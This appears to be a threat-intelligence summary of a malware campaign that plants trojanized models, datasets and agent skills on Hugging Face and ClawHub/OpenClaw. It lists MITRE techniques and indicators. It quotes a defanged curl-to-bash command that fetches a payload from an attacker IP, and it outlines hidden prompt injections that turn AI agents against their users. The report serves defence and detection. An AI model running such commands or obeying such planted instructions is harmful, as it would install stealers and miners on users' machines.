Acronis TRU uncovered widespread abuse of AI distribution platforms (Hugging Face and ClawHub/OpenClaw) to deliver trojanized models, datasets and agent skills that download and execute hidden payloads, use indirect prompt injection to make AI agents perform malicious actions, and employ evasion techniques like obfuscation, in-memory execution and covert C2. The campaign includes 575+ malicious OpenClaw skills from 13 developer accounts, cross-platform payloads (Windows and macOS) including AMOS stealer and cryptominers, and staging via repositories and external hosts. #OpenClaw #AMOSStealer
Keypoints
- Threat actors are abusing AI distribution platforms (Hugging Face and ClawHub/OpenClaw) to distribute trojanized models, datasets and OpenClaw skills that execute or fetch malicious payloads.
- Acronis identified 575+ malicious OpenClaw skills published by 13 developer accounts, with two primary actors (hightower6eu and sakaen736jih) responsible for the majority of uploads.
- Attack chains use indirect prompt injection to embed hidden instructions that cause AI agents to execute malicious actions on behalf of users, expanding potential compromise beyond the initial host.
- Observed payloads target both Windows and macOS and include trojans, cryptominers, and AMOS stealer; delivery methods include password-protected archives, external downloads, and staged repositories.
- Techniques for evasion and persistence include obfuscation/encryption, in-memory execution and process injection, registry Run-key persistence, marking removal, and covert C2 via web hosts and messaging links.
- Mitigations recommended include strict source vetting, least-privilege controls for AI agents, continuous MDR/XDR monitoring, blocking suspicious repository artifacts, and user education on social engineering.
MITRE Techniques
- [T1195 ] Supply Chain Compromise – Abusing AI distribution platforms to deliver malicious artifacts and scale malware distribution (‘abusing AI distribution platforms such as Hugging Face and ClawHub to deliver malware’)
- [T1204 ] User Execution (Social Engineering) – Use of enticing repo names, README social engineering and instructions that trick users into executing malware (‘Threat actors craft these packages with enticing repository names, attractive features and well-crafted README files’)
- [T1027 ] Obfuscated Files or Information – Use of obfuscation, encryption and base64-encoded command strings to hide true behavior (‘obfuscation, encryption’ and base64-encoded string to hide the actual command)
- [T1105 ] Ingress Tool Transfer – Downloading payloads from external hosts and repositories using curl/PowerShell and staging via repos (‘/bin/bash -c “$(curl -fsSL hxxp://91.92.242[.]30/6wioz8285kcbax6v)”‘)
- [T1059 ] Command and Scripting Interpreter – Use of PowerShell and shell scripts as droppers and execution vectors (‘PowerShell script served by the Cloudflare workers endpoint’ and bash commands used to execute downloaded scripts)
- [T1055 ] Process Injection – In-memory injection into explorer.exe by allocating memory, writing shellcode and creating a remote thread (‘writes the decoded shellcode and launches it via a remote thread’)
- [T1547 ] Boot or Logon Autostart Execution – Persistence via Registry Run key creation to achieve startup persistence (‘adds a Run key (5PthNvuYXu) under HKCUSoftwareMicrosoftWindowsCurrentVersionRun’)
- [T1071 ] Application Layer Protocol (C2) – Covert command-and-control communication using web hosts, messaging links and staged repositories (‘covert command-and-control (C2) communication’)
Indicators of Compromise
- [SHA256 ] OpenClaw/Hugging Face distributed artifacts – 9db18aa394f554aa455f3039ce734b1653cc999089889c551fe263bd4bdc39fc (OpenClaw Skill Archive), f0a54f2b44e557854b0a5001c4e10185884af945814786f78b86539014f78a16 (AMOS Stealer), and several other hashes (and other 8 hashes)
- [IP Address ] macOS payload hosting/C2 – 91.92.242[.]30 – central host used to distribute macOS payloads via curl download
- [Domain/URL ] staging and distribution hosts – github[.]com/hedefbari/openclaw-agent/releases/download/latest/openclaw-agent[.]zip (Windows malware distribution), hxxps://glot[.]io/snippets/hfdxv8uyaf (macOS intermediary), and additional URLs such as velvet-parrot[.]com and Cloudflare worker endpoints
- [File Names ] droppers and decoys observed – CDC1.bat (multistage batch dropper), WindowsDefender.exe (malicious payload masquerading as Defender), Bao_Cao_Tai_Chinh_2024.pdf.lnk (malicious LNK), and other malicious filenames